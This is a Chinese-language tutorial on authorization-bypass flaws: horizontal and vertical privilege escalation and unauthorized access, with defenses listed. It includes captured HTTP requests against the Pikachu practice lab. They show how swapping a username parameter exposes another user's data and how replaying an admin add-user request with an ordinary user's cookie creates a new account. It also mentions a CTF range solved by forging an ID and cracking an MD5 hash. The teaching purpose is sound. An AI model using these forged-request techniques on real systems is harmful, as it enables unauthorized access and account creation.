越权漏洞是比较常见的漏洞类型,越权漏洞可以理解为,一个正常的用户A通常只能够对自己的一些信息进行增删改查,但是由于程序员的一时疏忽未对信息进行增删改查的时候没有进行一个判断,判断所需要操作的信息是否属于对应的用户,可以导致用户A可以操作其他人的信息。
水平越权(同级别越权):也叫作访问控制攻击。Web应用程序接收到用户请求,修改某条数据时,没有判断数据的所属人,或者在判断数据所属人时从用户提交的表单参数中获取了userid。导致攻击者可以自行修改userid修改不属于自己的数据。所有的更新语句操作,都可能产生这个漏洞。简而言之,就是通过更换的某个ID之类的身份标识,从而使 A 账号获取(修改等)B 账号数据。
垂直越权(跨机别越权): 垂直权限攻击又叫做权限提升攻击。其原理是由于Web应用没有做权限控制,或仅仅在菜单上做了权限控制,导致恶意用户只要猜测其他管理页面的URL,就可以访问或控制其他角色拥有的数据或页面,达到权限提升的目的。简而言之,就是使用低权限身份的账号,发送高权限账号才能有的请求,获得其高权限的操作。
未授权访问:通过删除请求中的认证信息后重放该请求,依旧可以访问或者完成操作。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
前端安全造成:界面
判断用户等级后,代码界面部分进行可选显示
是普通用户只显示普通用户要的操作(查看、修改等)
是管理员只显示管理员要的操作(添加、删除等)
后端安全造成:数据库
user 表(管理员和普通用户同表)
id | username | password | usertype |
---|---|---|---|
1 | admin | admin123456 | 1 |
2 | lsc | 123456 | 2 |
登录用户 admin 或 lsc 时,代码是如何验证这个级别?(usertype 判断)
如果在访问数据包中有传输用户的编号、用户组编号或类型编号的时候,那么尝试对这个值进行修改,就是测试越权漏洞的基本。
1.前后端同时对用户输入信息进行校验,双重验证机制
2.调用功能前验证用户是否有权限调用相关功能
3.执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
4.直接对象引用的加密资源 ID,防止攻击者枚举 ID,敏感数据特殊化处理
5.永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤
1、登录后点击查看个人信息,弹出相应信息
2、点击后进行抓包
GET /xscj/pikachu-master/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/xscj/pikachu-master/vul/overpermission/op1/op1_mem.php
Cookie: PHPSESSID=69b4947564935a6f50ced0d97e3c5a32
Connection: close
发现urlh后面有个username参数,参数值对应的是用户名,我们尝试下别的用户名
username=kobe
发现查询到了kobe的信息,存在水平越权
防御:使用session来校验
if($_GET['username']!=$_SESSION['op']['username']){
echo "";
}
else{...}
添加用户
前提条件:获取添加用户的数据包
数据包怎么来:
1、普通用户前端有操作界面可以抓取数据包
2、通过网站源码本地搭建模拟发包
3、盲猜自己构造数据包
登录普通用户pikachu,显示只有查看权限,刷新页面进行抓包
普通用户的抓包,没有发现,现在登录管理员页面进行
GET /xscj/pikachu-master/vul/overpermission/op2/op2_user.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/xscj/pikachu-master/vul/overpermission/op2/op2_login.php
Cookie: PHPSESSID=16ea211f34bed99e65cc901e1b6bf88d
Connection: close
Cache-Control: max-age=0
管理员添加用户的数据包
POST /xscj/pikachu-master/vul/overpermission/op2/op2_admin_edit.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/xscj/pikachu-master/vul/overpermission/op2/op2_admin_edit.php
Cookie: PHPSESSID=76c118a3e87318db961c678b4b819ce5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
username=hahaha&password=123456&sex=&phonenum=&email=&address=&submit=%E5%88%9B%E5%BB%BA
那么我们可以伪造数据包,进行垂直注入(注意需要将cookie值更换为自己普通用户的cookie)
POST /xscj/pikachu-master/vul/overpermission/op2/op2_admin_edit.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/xscj/pikachu-master/vul/overpermission/op2/op2_admin_edit.php
Cookie: PHPSESSID=76c118a3e87318db961c678b4b819ce5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
username=hacker&password=123456&sex=&phonenum=&email=&address=&submit=%E5%88%9B%E5%BB%BA
添加成功
靶场
刷新页面的时候发现有两个重要的数据包
第二个数据包,发现参数card_id很有可能是每个用户的标识
点击钻石代理马春生的图片源码,获得到了与其他金牌代理的card_id值相似的值
通过伪造第二个数据包里面的card_id获得到钻石代理的账号和密码
将密码进行md5解密的到新密码登录,最后得到flag
演示:
靶场:pikachu
工具:Authz
1、爆破
假设已经用户名的字典进对用户名行爆破
2、将爆破结果发送到Authz
3、将lucy的登录票据复制到Authz的cookie中